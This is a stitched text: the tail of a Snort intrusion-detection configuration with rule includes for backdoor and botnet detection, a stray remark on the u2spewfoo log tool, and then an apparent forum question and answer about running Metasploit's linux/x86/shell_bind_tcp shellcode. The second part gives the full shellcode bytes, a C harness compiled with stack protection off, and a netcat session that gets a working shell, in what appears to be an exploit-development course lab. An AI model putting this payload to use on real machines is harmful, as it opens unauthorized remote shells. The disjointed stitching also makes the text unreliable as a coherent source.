# HTTP normalization and anomaly detection. For more information, see README.http_inspect
preprocessor http_inspect: global iis_unicode_map unicode.map 1252 compress_depth 65535 decompress_depth 65535
preprocessor http_inspect_server: server default \
http_methods { GET POST PUT SEARCH MKCOL COPY MOVE LOCK UNLOCK NOTIFY POLL BCOPY BDELETE BMOVE LINK UNLINK OPTIONS HEAD DELETE TRACE TRACK CONNECT SOURCE SUBSCRIBE UNSUBSCRIBE PROPFIND PROPPATCH BPROPFIND BPROPPATCH RPC_CONNECT PROXY_SUCCESS BITS_POST CCM_POST SMS_POST RPC_IN_DATA RPC_OUT_DATA RPC_ECHO_DATA } \
chunk_length 500000 \
server_flow_depth 0 \
client_flow_depth 0 \
post_depth 65495 \
oversize_dir_length 500 \
max_header_length 750 \
max_headers 100 \
max_spaces 200 \
small_chunk_length { 10 5 } \
ports { 36 80 81 82 83 84 85 86 87 88 89 90 311 383 555 591 593 631 801 808 818 901 972 1158 1220 1414 1533 1741 1830 1942 2231 2301 2381 2809 2980 3029 3037 3057 3128 3443 3702 4000 4343 4848 5000 5117 5250 5600 6080 6173 6988 7000 7001 7071 7144 7145 7510 7770 7777 7778 7779 8000 8008 8014 8028 8080 8081 8082 8085 8088 8090 8118 8123 8180 8181 8222 8243 8280 8300 8333 8344 8500 8509 8800 8888 8899 8983 9000 9060 9080 9090 9091 9111 9290 9443 9999 10000 11371 12601 13014 15489 29991 33300 34412 34443 34444 41080 44449 50000 50002 51423 53331 55252 55555 56712 } \
non_rfc_char { 0x00 0x01 0x02 0x03 0x04 0x05 0x06 0x07 } \
enable_cookie \
extended_response_inspection \
inspect_gzip \
normalize_utf \
unlimited_decompress \
normalize_javascript \
apache_whitespace no \
ascii no \
bare_byte no \
directory no \
double_decode no \
iis_backslash no \
iis_delimiter no \
iis_unicode no \
multi_slash no \
utf_8 no \
u_encode yes \
webroot no
# ONC-RPC normalization and anomaly detection. For more information, see the Snort Manual, Configuring Snort - Preprocessors - RPC Decode
preprocessor rpc_decode: 111 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 no_alert_multiple_requests no_alert_large_fragments no_alert_incomplete
# Back Orifice detection.
preprocessor bo
# FTP / Telnet normalization and anomaly detection. For more information, see README.ftptelnet
preprocessor ftp_telnet: global inspection_type stateful encrypted_traffic no check_encrypted
preprocessor ftp_telnet_protocol: telnet \
ayt_attack_thresh 20 \
normalize ports { 23 } \
detect_anomalies
preprocessor ftp_telnet_protocol: ftp server default \
def_max_param_len 100 \
ports { 21 2100 3535 } \
telnet_cmds yes \
ignore_telnet_erase_cmds yes \
ftp_cmds { ABOR ACCT ADAT ALLO APPE AUTH CCC CDUP } \
ftp_cmds { CEL CLNT CMD CONF CWD DELE ENC EPRT } \
ftp_cmds { EPSV ESTA ESTP FEAT HELP LANG LIST LPRT } \
ftp_cmds { LPSV MACB MAIL MDTM MIC MKD MLSD MLST } \
ftp_cmds { MODE NLST NOOP OPTS PASS PASV PBSZ PORT } \
ftp_cmds { PROT PWD QUIT REIN REST RETR RMD RNFR } \
ftp_cmds { RNTO SDUP SITE SIZE SMNT STAT STOR STOU } \
ftp_cmds { STRU SYST TEST TYPE USER XCUP XCRC XCWD } \
ftp_cmds { XMAS XMD5 XMKD XPWD XRCP XRMD XRSQ XSEM } \
ftp_cmds { XSEN XSHA1 XSHA256 } \
alt_max_param_len 0 { ABOR CCC CDUP ESTA FEAT LPSV NOOP PASV PWD QUIT REIN STOU SYST XCUP XPWD } \
alt_max_param_len 200 { ALLO APPE CMD HELP NLST RETR RNFR STOR STOU XMKD } \
alt_max_param_len 256 { CWD RNTO } \
alt_max_param_len 400 { PORT } \
alt_max_param_len 512 { SIZE } \
chk_str_fmt { ACCT ADAT ALLO APPE AUTH CEL CLNT CMD } \
chk_str_fmt { CONF CWD DELE ENC EPRT EPSV ESTP HELP } \
chk_str_fmt { LANG LIST LPRT MACB MAIL MDTM MIC MKD } \
chk_str_fmt { MLSD MLST MODE NLST OPTS PASS PBSZ PORT } \
chk_str_fmt { PROT REST RETR RMD RNFR RNTO SDUP SITE } \
chk_str_fmt { SIZE SMNT STAT STOR STRU TEST TYPE USER } \
chk_str_fmt { XCRC XCWD XMAS XMD5 XMKD XRCP XRMD XRSQ } \
chk_str_fmt { XSEM XSEN XSHA1 XSHA256 } \
cmd_validity ALLO < int [ char R int ] > \
cmd_validity EPSV < [ { char 12 | char A char L char L } ] > \
cmd_validity MACB < string > \
cmd_validity MDTM < [ date nnnnnnnnnnnnnn[.n[n[n]]] ] string > \
cmd_validity MODE < char ASBCZ > \
cmd_validity PORT < host_port > \
cmd_validity PROT < char CSEP > \
cmd_validity STRU < char FRPO [ string ] > \
cmd_validity TYPE < { char AE [ char NTC ] | char I | char L [ number ] } >
preprocessor ftp_telnet_protocol: ftp client default \
max_resp_len 256 \
bounce yes \
ignore_telnet_erase_cmds yes \
telnet_cmds yes
# SMTP normalization and anomaly detection. For more information, see README.SMTP
preprocessor smtp: ports { 25 465 587 691 } \
inspection_type stateful \
b64_decode_depth 0 \
qp_decode_depth 0 \
bitenc_decode_depth 0 \
uu_decode_depth 0 \
log_mailfrom \
log_rcptto \
log_filename \
log_email_hdrs \
normalize cmds \
normalize_cmds { ATRN AUTH BDAT CHUNKING DATA DEBUG EHLO EMAL ESAM ESND ESOM ETRN EVFY } \
normalize_cmds { EXPN HELO HELP IDENT MAIL NOOP ONEX QUEU QUIT RCPT RSET SAML SEND SOML } \
normalize_cmds { STARTTLS TICK TIME TURN TURNME VERB VRFY X-ADAT X-DRCP X-ERCP X-EXCH50 } \
normalize_cmds { X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \
max_command_line_len 512 \
max_header_line_len 1000 \
max_response_line_len 512 \
alt_max_command_line_len 260 { MAIL } \
alt_max_command_line_len 300 { RCPT } \
alt_max_command_line_len 500 { HELP HELO ETRN EHLO } \
alt_max_command_line_len 255 { EXPN VRFY ATRN SIZE BDAT DEBUG EMAL ESAM ESND ESOM EVFY IDENT NOOP RSET } \
alt_max_command_line_len 246 { SEND SAML SOML AUTH TURN ETRN DATA RSET QUIT ONEX QUEU STARTTLS TICK TIME TURNME VERB X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \
valid_cmds { ATRN AUTH BDAT CHUNKING DATA DEBUG EHLO EMAL ESAM ESND ESOM ETRN EVFY } \
valid_cmds { EXPN HELO HELP IDENT MAIL NOOP ONEX QUEU QUIT RCPT RSET SAML SEND SOML } \
valid_cmds { STARTTLS TICK TIME TURN TURNME VERB VRFY X-ADAT X-DRCP X-ERCP X-EXCH50 } \
valid_cmds { X-EXPS X-LINK2STATE XADR XAUTH XCIR XEXCH50 XGEN XLICENSE XQUE XSTA XTRN XUSR } \
xlink2state { enabled }
# Portscan detection. For more information, see README.sfportscan
# preprocessor sfportscan: proto { all } memcap { 10000000 } sense_level { low }
# ARP spoof detection. For more information, see the Snort Manual - Configuring Snort - Preprocessors - ARP Spoof Preprocessor
# preprocessor arpspoof
# preprocessor arpspoof_detect_host: 192.168.40.1 f0:0f:00:f0:0f:00
# SSH anomaly detection. For more information, see README.ssh
preprocessor ssh: server_ports { 22 } \
autodetect \
max_client_bytes 19600 \
max_encrypted_packets 20 \
max_server_version_len 100 \
enable_respoverflow enable_ssh1crc32 \
enable_srvoverflow enable_protomismatch
# SMB / DCE-RPC normalization and anomaly detection. For more information, see README.dcerpc2
preprocessor dcerpc2: memcap 102400, events [co ]
preprocessor dcerpc2_server: default, policy WinXP, \
detect [smb [139,445], tcp 135, udp 135, rpc-over-http-server 593], \
autodetect [tcp 1025:, udp 1025:, rpc-over-http-server 1025:], \
smb_max_chain 3, smb_invalid_shares ["C$", "D$", "ADMIN$"]
# DNS anomaly detection. For more information, see README.dns
preprocessor dns: ports { 53 } enable_rdata_overflow
# SSL anomaly detection and traffic bypass. For more information, see README.ssl
preprocessor ssl: ports { 443 465 563 636 989 992 993 994 995 7801 7802 7900 7901 7902 7903 7904 7905 7906 7907 7908 7909 7910 7911 7912 7913 7914 7915 7916 7917 7918 7919 7920 }, trustservers, noinspect_encrypted
# SDF sensitive data preprocessor. For more information see README.sensitive_data
preprocessor sensitive_data: alert_threshold 25
# SIP Session Initiation Protocol preprocessor. For more information see README.sip
preprocessor sip: max_sessions 40000, \
ports { 5060 5061 5600 }, \
methods { invite \
cancel \
ack \
bye \
register \
options \
refer \
subscribe \
update \
join \
info \
message \
notify \
benotify \
do \
qauth \
sprack \
publish \
service \
unsubscribe \
prack }, \
max_uri_len 512, \
max_call_id_len 80, \
max_requestName_len 20, \
max_from_len 256, \
max_to_len 256, \
max_via_len 1024, \
max_contact_len 512, \
max_content_len 2048
# IMAP preprocessor. For more information see README.imap
preprocessor imap: \
ports { 143 } \
b64_decode_depth 0 \
qp_decode_depth 0 \
bitenc_decode_depth 0 \
uu_decode_depth 0
# POP preprocessor. For more information see README.pop
preprocessor pop: \
ports { 110 } \
b64_decode_depth 0 \
qp_decode_depth 0 \
bitenc_decode_depth 0 \
uu_decode_depth 0
# Modbus preprocessor. For more information see README.modbus
preprocessor modbus: ports { 502 }
# DNP3 preprocessor. For more information see README.dnp3
preprocessor dnp3: ports { 20000 } \
memcap 262144 \
check_crc
# Reputation preprocessor. For more information see README.reputation
preprocessor reputation: \
memcap 500, \
priority whitelist, \
nested_ip inner, \
whitelist $WHITE_LIST_PATH/white_list.rules, \
blacklist $BLACK_LIST_PATH/black_list.rules
###################################################
# Step #6: Configure output plugins
# For more information, see Snort Manual, Configuring Snort - Output Modules
###################################################
# unified2
# Recommended for most installs
# output unified2: filename merged.log, limit 128, nostamp, mpls_event_types, vlan_event_types
output unified2: filename snort.log, limit 128
# Additional configuration for specific types of installs
# output alert_unified2: filename snort.alert, limit 128, nostamp
# output log_unified2: filename snort.log, limit 128, nostamp
# output unified2: filename snort.log, limit 128
# syslog
# output alert_syslog: LOG_AUTH LOG_ALERT
# pcap
# output log_tcpdump: tcpdump.log
# metadata reference data. do not modify these lines
include classification.config
include reference.config
###################################################
# Step #7: Customize your rule set
# For more information, see Snort Manual, Writing Snort Rules
#
# NOTE: All categories are enabled in this conf file
###################################################
# site specific rules
# include $RULE_PATH/local.rules
include $RULE_PATH/app-detect.rules
include $RULE_PATH/attack-responses.rules
include $RULE_PATH/backdoor.rules
include $RULE_PATH/bad-traffic.rules
include $RULE_PATH/blacklist.rules
include $RULE_PATH/botnet-cnc.rules
include $RULE_PATH/browser-chrome.rules
include $RULE_PATH/browser-firefox.rules
include $RULE_PATH/browser-ie.rules
include $RULE_PATH/browser-other.rules
include $RULE_PATH/protocol-telnet.rules
include $RULE_PATH/protocol-tftp.rules
include $RULE_PATH/protocol-voip.rules
include $RULE_PATH/pua-adware.rules
include $RULE_PATH/pua-other.rules
include $RULE_PATH/pua-p2p.rules
include $RULE_PATH/pua-toolbars.rules
include $RULE_PATH/web-coldfusion.rules
include $RULE_PATH/web-frontpage.rules
include $RULE_PATH/web-iis.rules
include $RULE_PATH/web-misc.rules
include $RULE_PATH/web-php.rules
include $RULE_PATH/x11.rules
# test rule for ping
include $RULE_PATH/testping.rules
###################################################
# Step #8: Customize your preprocessor and decoder alerts
# For more information, see README.decoder_preproc_rules
###################################################
# decoder and preprocessor event rules
# include $PREPROC_RULE_PATH/preprocessor.rules
# include $PREPROC_RULE_PATH/decoder.rules
# include $PREPROC_RULE_PATH/sensitive-data.rules
###################################################
# Step #9: Customize your Shared Object Snort Rules
# For more information, see http://vrt-blog.snort.org/2009/01/using-vrt-certified-shared-object-rules.html
###################################################
# dynamic library rules
# include $SO_RULE_PATH/bad-traffic.rules
# include $SO_RULE_PATH/browser-ie.rules
# include $SO_RULE_PATH/chat.rules
# include $SO_RULE_PATH/dos.rules
# include $SO_RULE_PATH/exploit.rules
# include $SO_RULE_PATH/file-flash.rules
# include $SO_RULE_PATH/icmp.rules
# include $SO_RULE_PATH/imap.rules
# include $SO_RULE_PATH/misc.rules
# include $SO_RULE_PATH/multimedia.rules
# include $SO_RULE_PATH/netbios.rules
# include $SO_RULE_PATH/nntp.rules
# include $SO_RULE_PATH/p2p.rules
# include $SO_RULE_PATH/smtp.rules
# Event thresholding or suppression commands. See threshold.conf
include threshold.conf
Apparently, I have not heard about u2spewfoo, which is a dumping tool used for dumping the content of unified2 log files to stdout.
I ran command u2spewfoo snort.log and was able to read the log.
I hope this helps!

How to run the linux/x86/shell_bind_tcp payload stand alone?

I'm running a Metasploit payload in a sandbox c program.
Below is a summary of the payload of interest. From there I generate some shellcode and load it up in my sandbox, but when I run it the program will simply wait. I think this is because it's waiting for a connection to send the shell, but I'm not sure.
How would I go from:
Generating shellcode
Loading it into my sandbox
Successfully get a /bin/sh shell <- this is the part I'm stuck on.
Basic setup:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp S
[sudo] password for max:
Name: Linux Command Shell, Bind TCP Inline
Module: payload/linux/x86/shell_bind_tcp
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 200
Rank: Normal
Provided by:
Ramon de C Valle <rcvalle#metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST no The target address
Description:
Listen for a connection and spawn a command shell
Generating shellcode:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
Sandbox program with shellcode:
#include<stdio.h>
#include<string.h>
/*
objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
*/
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compile and run. However, this is where I'm not sure how to get a /bin/sh shell:
max#ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
(program waiting here...waiting for a connection?)
Edit:
In terminal one I run my shellcode program:
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
Now in terminal two, I check for tcp listeners. Giving -n to suppress host name resolution, -t for tcp, -l for listeners, and -p to see the program names.
I can see the shellcode program on port 4444:
max#ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 14885/shellcode
max#ubuntu-vm:~$
Connecting with telnet, and it seems like it was successful but still no sh shell.
max#ubuntu-vm:~$ telnet 0.0.0.0 4444
Trying 0.0.0.0...
Connected to 0.0.0.0.
Escape character is '^]'.
How do I get an sh shell?
Generate shellcode, compile and run:
max#ubuntu-vm:~/SLAE/mod2$ sudo msfpayload -p linux/x86/shell_bind_tcp C
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=4444, RHOST=, PrependFork=false,
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependSetresgid=false,
* PrependSetregid=false, PrependSetgid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
max#ubuntu-vm:~/SLAE/mod2$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
max#ubuntu-vm:~/SLAE/mod2$ ./shellcode
Shellcode Length: 20
Now, in terminal 2. Check for connections and finally connect using netcat. Note, that the $ doesn't appear but the shell is still there:
max#ubuntu-vm:~$ sudo netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3326/shellcode
max#ubuntu-vm:~$ nc 0.0.0.0 4444
pwd
/home/max/SLAE/mod2
whoami
max
ls -l
total 516
-rwxrwxr-x 1 max max 591 Jan 2 07:06 InsertionEncoder.py
-rwxrwxr-x 1 max max 591 Jan 2 07:03 InsertionEncoder.py~
-rwxrwxr-x 1 max max 471 Dec 30 17:00 NOTEncoder.py
-rwxrwxr-x 1 max max 471 Dec 30 16:57 NOTEncoder.py~
-rwxrwxr-x 1 max max 442 Jan 2 09:58 XOREncoder.py
-rwxrwxr-x 1 max max 442 Dec 30 08:36 XOREncoder.py~
-rwxrwxr-x 1 max max 139 Dec 27 08:18 compile.sh

Resources